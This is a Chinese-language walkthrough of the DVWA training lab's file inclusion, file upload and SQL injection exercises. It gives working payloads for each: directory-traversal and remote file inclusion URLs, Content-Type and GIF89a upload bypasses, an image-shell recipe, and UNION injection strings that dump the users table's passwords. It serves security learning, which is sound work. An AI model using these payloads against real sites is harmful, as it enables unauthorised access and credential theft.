文件包含
什么是文件包含?
在php中文件包含主要是指调用了include(); include_once(); require(); require_once()函数。这些函数能够将包含的文本当做php代码去执行,而不管该文本是不是以php为扩展名的。文件包含可以分为本地文件包含()和远程文件包含。区别在于远程文件包含需要将php.ini文件中的 allow_url_fopen设置为On(默认情况下是Off)。而要实现文件包含,需要将allow_url_include设置为On
一. 这里先区别一下上面四个和文件包含相关的函数:
1.include()和include_once():两者都可一包含一个文件,区别是include_once()会先检查所包含的文件中的代码是否已存在,若存在,这不会继续包含。
2.require()和require_once():和include()与include_once()类似,require_once()会检查代码是否已经存在,及只会包含一次。require()和include()的最大区别在于:对于包含一个不存在的文件,include()会给出一个警告并且继续执行下面的代码,而对于require()来说,会产生一个致命错误从而结束程序执行。
二. 重要的放在前面
- 对于本地文件包含的情况,可以通过目录遍历的方式去尝试读
二. 在来看看这个文件上传
先把难度调成low,代码如下:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
并没有对输入做出任何限制。
- 先看一下View Help中的要求:
让我们去读出…/hackable/flags/fi.php中的5句名言。观察一下url
里面的特征URL是/?page=file.php
。是一种经典的查询字符串结构。原页面有file1~file3,我们尝试访问一下file4。/?page=file4.php
结果显示是一个隐藏文件(貌似没啥用,但是在实际过程中得有这样枚举一下的意识)
- 直奔主题,去读一下fi.php文件
尝试访问/?page=../hackable/flags/fi.php
报出了错误,应该是目录结构的问题,但是我们从中得到了绝对路径,于是可以尝试直接读一下配置文件/?page=d:\wamp\www\dvwa\php.ini
可以看到是可以成功了的。
再去尝试一下向上一级去读?page=../../hackable/flags/fi.php
结果如下:
读到了几句Quote。
远程文件包含:
当allow_url_fopen为on时(allow_url_include也为on)是,就可以实现远程文件包含。我们在远程服务器上建一个phpinfo.txt的文本文档。用本机访问一下:
然后远程包含一下:/?page=http://192.168.56.145/phpinfo.txt
,返回结果如下:
可以看到文本文档是被当做了php代码去执行了。
文件上传
文件上传作为一个web应用功能。若没有对文件的类型作严格的限制。则可能执行上传恶意的文本,getshell等操作。
low等级
low等级直接可以上传一个php文件。
medium等级
可以查看一下Medium的源码,发现只是检查了文件类型
因此用burp抓包,修改http请求头中的content-type字段即可。
将Conten-Type字段的: application/octet-stream 改为 image/png
查看结果是上传成功了。
hight等级
查看high等级的源码
这里后缀名给了白名单,并且getimagesize()函数.
getimagesize()函数的原理:该函数会检测图片的16进制的前几个数是否符合图片的格式的。有两种方式的绕过:
1.直接在脚本文件前面加上GIF89a
2.合成图片马,在命令行中用: copy a.png/b shell.php/a b.png
这里理论上可以用%00截断来绕过后缀名检验,但是对php的版本要求是要小于5.3.4的,但是实验环境不支持,这里可以结合上面的文件包含的漏洞一起利用来getshell。
上传一个shell.php文件内容如下:
GIF89A
<?php
phpinfo();
?>
上传后抓包,需要改掉后缀为png,(测试了一下也要改Content-Type字段)
结合文件包含漏洞访问一下这个png文件。
链接为:
http://localhost:8081/dvwa/vulnerabilities/fi/?page=d:\wamp\www\dvwa\hackable\uploads\shell.png
sql注入
sql注入的原理是未对前端传来的数据进行严格的过滤,导致数据被当做代码来执行了。
要实现sql注入需要两个条件:
- 参数用户可控
- 输入数据被带入到了数据库中去执行
low等级
用 1’ or ‘1’='1测试,返回了所有的数据,即可证明存在字符类型的注入,这里可以用联合注入的方式。(经测试字段数为2)。
查表名
0' union select 1,group_concat(table_name)from information_schema.tables where table_schema = database()#
查字段名
0' union select 1,group_concat(column_name)from information_schema.columns where table_name = "users"#
查数据
0' union select 1,group_concat(user,password) from users#
medium等级
medium利用下拉表来限制了输入,这种前端限制直接抓包来绕过就可以了。
用burp抓包来修改,这里验证发现是数字型的,不用闭合单引号,直接利用联合注入就可以了。
后面的操作就是利用information_schema表来查数据表,查字段,查值就可以了。
high等级
hight等级点击后会弹出输入框,应该是防止自动注入工具的,这里用手工注入方式和low等级一样,直接闭合单引号用union注入就可以实现。